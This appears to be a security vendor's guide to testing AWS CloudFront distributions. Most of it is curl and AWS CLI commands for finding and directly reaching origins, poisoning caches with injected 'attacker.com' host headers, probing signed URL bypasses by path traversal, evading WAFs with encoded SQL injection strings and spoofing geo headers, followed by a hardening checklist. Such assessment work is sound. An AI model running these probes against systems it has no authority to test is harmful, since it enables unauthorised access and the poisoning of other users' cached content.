AWS CloudFront Security Testing: Origin Bypass, Cache Poisoning, and Signed URL Bypass

AWS CloudFront is the most widely deployed CDN/edge service in the world, sitting in front of S3 buckets, API Gateway endpoints, Application Load Balancers, and custom origins. Its security model is complex and frequently misconfigured: origin bypass occurs when the S3 bucket or ALB accepts direct requests without CloudFront authentication, rendering WAF rules and IP restrictions irrelevant; cache poisoning exploits HTTP headers that are forwarded to the cache key without normalization; signed URL/cookie bypass can allow access to protected content; and OAC/OAI misconfiguration leaves S3 buckets publicly accessible. This guide covers systematic CloudFront security assessment.

Table of Contents

  1. Distribution Discovery and Origin Identification
  2. Direct Origin Access Bypass
  3. Cache Poisoning via Header Injection
  4. Signed URL and Cookie Bypass
  5. CloudFront Security Hardening

Distribution Discovery and Origin Identification

CloudFront distributions expose their origin in DNS records, HTTP response headers, and certificate Subject Alternative Names. Identifying the actual origin domain is the prerequisite for origin bypass testing.

# CloudFront distribution discovery and origin identification
TARGET="cdn.company.com"

# Identify CloudFront distribution
curl -sI "https://${TARGET}/" | grep -E "x-amz|CloudFront|server|via" -i

# Check if it's CloudFront and get distribution ID
curl -sI "https://${TARGET}/" | grep -i "x-amz-cf-pop\|x-amz-cf-id\|x-cache"

# Certificate SAN enumeration โ€” reveals origin and related domains
openssl s_client -connect "${TARGET}:443" -servername "${TARGET}" 2>/dev/null | \
  openssl x509 -noout -text 2>/dev/null | grep -A1 "Subject Alternative Name"

# AWS CLI โ€” enumerate CloudFront distributions (with AWS credentials)
aws cloudfront list-distributions --query 'DistributionList.Items[].{Id:Id,Domain:DomainName,Origins:Origins.Items[].DomainName,Status:Status,Enabled:Enabled}' --output table 2>/dev/null

# DNS enumeration to find S3/ALB origin
dig +short "${TARGET}"
# If CNAME -> *.cloudfront.net, check if S3 bucket accessible directly
BUCKET_REGION="us-east-1"
BUCKET_NAME=$(echo "${TARGET}" | cut -d. -f1)

# Try direct S3 bucket access
for REGION in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
  S3_URL="https://${BUCKET_NAME}.s3.${REGION}.amazonaws.com/"
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "${S3_URL}")
  echo "Direct S3 (${REGION}): HTTP ${CODE}"
  [ "$CODE" != "403" ] && [ "$CODE" != "301" ] && echo "  POSSIBLE OPEN BUCKET"
done

# Check if origin is identified in error responses
curl -sv "https://${TARGET}/nonexistent-path-12345" 2>&1 | grep -E "Server:|x-amz|origin|host"
High Impact: If the S3 origin is identified and directly accessible, all CloudFront security controls โ€” WAF rules, geo-restriction, signed URL requirements, custom headers โ€” are bypassed. Direct S3 access also reveals the complete directory listing if bucket ACL permits it.

Direct Origin Access Bypass

CloudFront adds a custom origin header (configured in the distribution) that the origin checks to verify requests came through CloudFront. When this header is not configured or the origin does not validate it, direct access to the ALB or S3 bucket bypasses CloudFront entirely.

# CloudFront origin bypass testing
TARGET="cdn.company.com"
ORIGIN="origin.company.com"  # Identified from DNS/cert

# Test 1: Direct access to likely origin domains
for ORIGIN_GUESS in "origin.${TARGET}" "api.${TARGET/cdn./}" "backend.${TARGET/cdn./}" \
  "${TARGET/cdn./}.s3.amazonaws.com" "${TARGET/cdn./}.s3-website-us-east-1.amazonaws.com"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${ORIGIN_GUESS}/")
  [ "$CODE" != "000" ] && echo "Origin candidate ${ORIGIN_GUESS}: HTTP ${CODE}"
done

# Test 2: Host header manipulation โ€” try accessing origin via CloudFront IP
CF_IP=$(dig +short "${TARGET}" | head -1)
curl -sv -H "Host: ${ORIGIN}" "https://${CF_IP}/" --resolve "${ORIGIN}:443:${CF_IP}" 2>&1 | grep "< HTTP"

# Test 3: S3 direct access โ€” check if OAC/OAI is properly configured
S3_BUCKET="company-static-assets"
S3_REGION="us-east-1"
# Without OAC, S3 bucket may allow public or authenticated AWS access
curl -s "https://${S3_BUCKET}.s3.${S3_REGION}.amazonaws.com/" | grep -E "ListBucketResult|NoSuchBucket|AccessDenied"
aws s3 ls "s3://${S3_BUCKET}/" 2>/dev/null && echo "S3 bucket accessible with AWS credentials"

# Test 4: ALB direct access โ€” ALB may not check for CloudFront header
ALB_DNS="my-alb-1234567890.us-east-1.elb.amazonaws.com"
curl -s -H "Host: ${TARGET}" "https://${ALB_DNS}/" -o /dev/null -w "%{http_code}"

# Test 5: Check if custom origin header is required (and what it is)
# CloudFront can be configured to add a secret header โ€” the origin checks for it
# Without it, requests should be rejected with 403/401
curl -s "https://${ORIGIN}/" -o /dev/null -w "No CF header: %{http_code}\n"
curl -s "https://${ORIGIN}/" \
  -H "X-CloudFront-Secret: test-secret" -o /dev/null -w "Wrong CF header: %{http_code}\n"

# Extract potential CloudFront secret from JS bundle
curl -s "https://${TARGET}/" | grep -oE 'X-[A-Za-z-]+:[^\\"]+' | head -20
curl -s "https://${TARGET}/static/js/main.*.js" 2>/dev/null | grep -oE '"X-[A-Z-]+":[^,}]+' | head -10

Cache Poisoning via Header Injection

CloudFront caches responses keyed on URL path and configured cache key parameters. Headers forwarded to the origin but not included in the cache key can poison the cache โ€” serving a manipulated response to subsequent legitimate users.

# CloudFront cache poisoning assessment
TARGET="cdn.company.com"

# Test which headers CloudFront forwards to origin (reveals cache key config)
curl -sv "https://${TARGET}/api/user/profile" \
  -H "X-Forwarded-Host: attacker.com" \
  -H "X-Original-Host: attacker.com" 2>&1 | grep -E "< |location|host" -i

# Host header injection cache poisoning
# If X-Forwarded-Host is forwarded to origin but not in cache key,
# a poisoned response with attacker.com in redirects gets cached
curl -s "https://${TARGET}/api/login" \
  -H "X-Forwarded-Host: attacker.com" \
  -H "Cache-Control: no-cache" \
  -v 2>&1 | grep -E "Location:|attacker.com" -i

# Probe cache behavior with cache-busting parameter
# Same URL, different headers โ€” does the cached response reflect injected header?
CACHE_BUSTER="cb=$(date +%s)"
curl -s "https://${TARGET}/api/config?${CACHE_BUSTER}" \
  -H "X-Custom-Header: POISONED" | grep -i "POISONED"

# Test X-Rewrite-URL / X-Original-URL header forwarding
for HEADER in "X-Rewrite-URL: /admin" "X-Original-URL: /admin" "X-Override-URL: /admin"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/" -H "${HEADER}")
  echo "${HEADER}: HTTP ${CODE}"
done

# CloudFront response headers โ€” check if cache key is exposed
curl -sI "https://${TARGET}/static/image.jpg" | grep -E "x-cache|age|cache-control|etag|last-modified"
# X-Cache: Hit from cloudfront โ€” means it was cached
# Age: N โ€” how long it's been cached in seconds

# Fat GET cache poisoning โ€” POST body cached as GET response
curl -s -X GET "https://${TARGET}/api/data" \
  -H "Content-Type: application/json" \
  -H "Content-Length: 30" \
  -d '{"admin":true,"role":"superadmin"}' | python3 -m json.tool 2>/dev/null

Signed URL and Cookie Bypass

CloudFront signed URLs and cookies restrict access to protected content using RSA-signed parameters. Misconfigurations โ€” including overly broad wildcard patterns, missing path validation, and parameter order manipulation โ€” can allow access to content that should require a valid signature.

# CloudFront signed URL/cookie bypass testing
TARGET="cdn.company.com"

# Test if signed URL is enforced on all paths
# Attempt to access protected content without signature
for PATH in "/private/document.pdf" "/premium/video.mp4" "/protected/data.json"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}${PATH}")
  echo "Unsigned access ${PATH}: HTTP ${CODE}"
  # 403 = signed URL enforced; 200/403 = check if OAI is configured
done

# Signed URL parameter manipulation
# Valid signed URL format: /path?Expires=&Signature=&Key-Pair-Id=
VALID_URL="https://${TARGET}/protected/file.pdf?Expires=9999999999&Signature=validSig&Key-Pair-Id=APKABC123"

# Test 1: Remove signature (should fail)
curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/protected/file.pdf?Expires=9999999999&Key-Pair-Id=APKABC123"

# Test 2: Path traversal in signed URL (if wildcard path used)
# If distribution signed for /protected/* โ€” try accessing /protected/../admin/
curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/protected/../admin/config.json?${VALID_URL#*?}"

# Test 3: Check if signature is verified for different HTTP methods
for METHOD in GET HEAD OPTIONS POST; do
  CODE=$(curl -s -X "${METHOD}" -o /dev/null -w "%{http_code}" "${VALID_URL}")
  echo "${METHOD} with valid sig: HTTP ${CODE}"
done

# Test 4: CloudFront signed cookie bypass
# If cookies are checked, test if direct URL params override
curl -s "https://${TARGET}/premium/content.html" \
  --cookie "CloudFront-Expires=9999999999; CloudFront-Signature=invalid; CloudFront-Key-Pair-Id=FAKE" \
  -o /dev/null -w "%{http_code}"

# CloudFront WAF bypass techniques
# WAF is applied at CloudFront level โ€” may not protect direct origin
# Also test URL encoding, case variation, and path confusion
for PAYLOAD in "UNION+SELECT" "%55NION+SELECT" "UNion+SELect" "UNION%20SELECT"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/api/search?q=${PAYLOAD}")
  echo "WAF test '${PAYLOAD}': HTTP ${CODE}"
done

# Geo-restriction bypass via X-Forwarded-For spoofing
# Some implementations trust CF-IPCountry header from client
curl -s -H "CF-IPCountry: US" "https://${TARGET}/" -o /dev/null -w "%{http_code}"
curl -s -H "CloudFront-Viewer-Country: US" "https://${TARGET}/" -o /dev/null -w "%{http_code}"

Automated CloudFront Security Testing

Ironimo can assess your AWS CloudFront distributions for origin bypass vulnerabilities, cache poisoning via header injection, signed URL misconfigurations, OAC/OAI gaps, and WAF bypass techniques โ€” covering the full CDN attack surface.

Start free scan

Hardening Checklist

IssueDefault StateFix
S3 origin publicly accessibleOAI/OAC not enforced by defaultEnable OAC (Origin Access Control) on all S3 origins; block all public access on S3 bucket; use bucket policy to allow only CloudFront service principal
ALB accessible directlyNo CloudFront header checkAdd custom origin header in CloudFront; configure ALB listener rule to require header; use security group to restrict to CloudFront IP ranges
Headers forwarded but not in cache keyX-Forwarded-Host often forwardedConfigure cache key policy to include all forwarded headers; strip untrusted headers at CloudFront before forwarding to origin
Signed URL wildcard too broadOften /* covering all pathsUse path-specific wildcards; validate Resource parameter against expected prefixes; set short Expires values
WAF rules only at CloudFrontOrigin unprotected if bypassedDeploy WAF at both CloudFront and ALB/API Gateway layers; validate inputs at application level regardless of WAF
Geo-restriction trusting client headersCF-IPCountry header from CF is trustedUse CloudFront's built-in geo-restriction (based on viewer IP); never trust client-supplied country headers
Key findings to report: Direct S3 bucket access bypassing CloudFront WAF and signed URL requirements (critical); ALB accessible directly bypassing CloudFront security controls (critical); cache poisoning via X-Forwarded-Host reflected in cached response (high); signed URL wildcard pattern allows path traversal to unintended resources (high); WAF bypass via URL encoding reaching origin (high).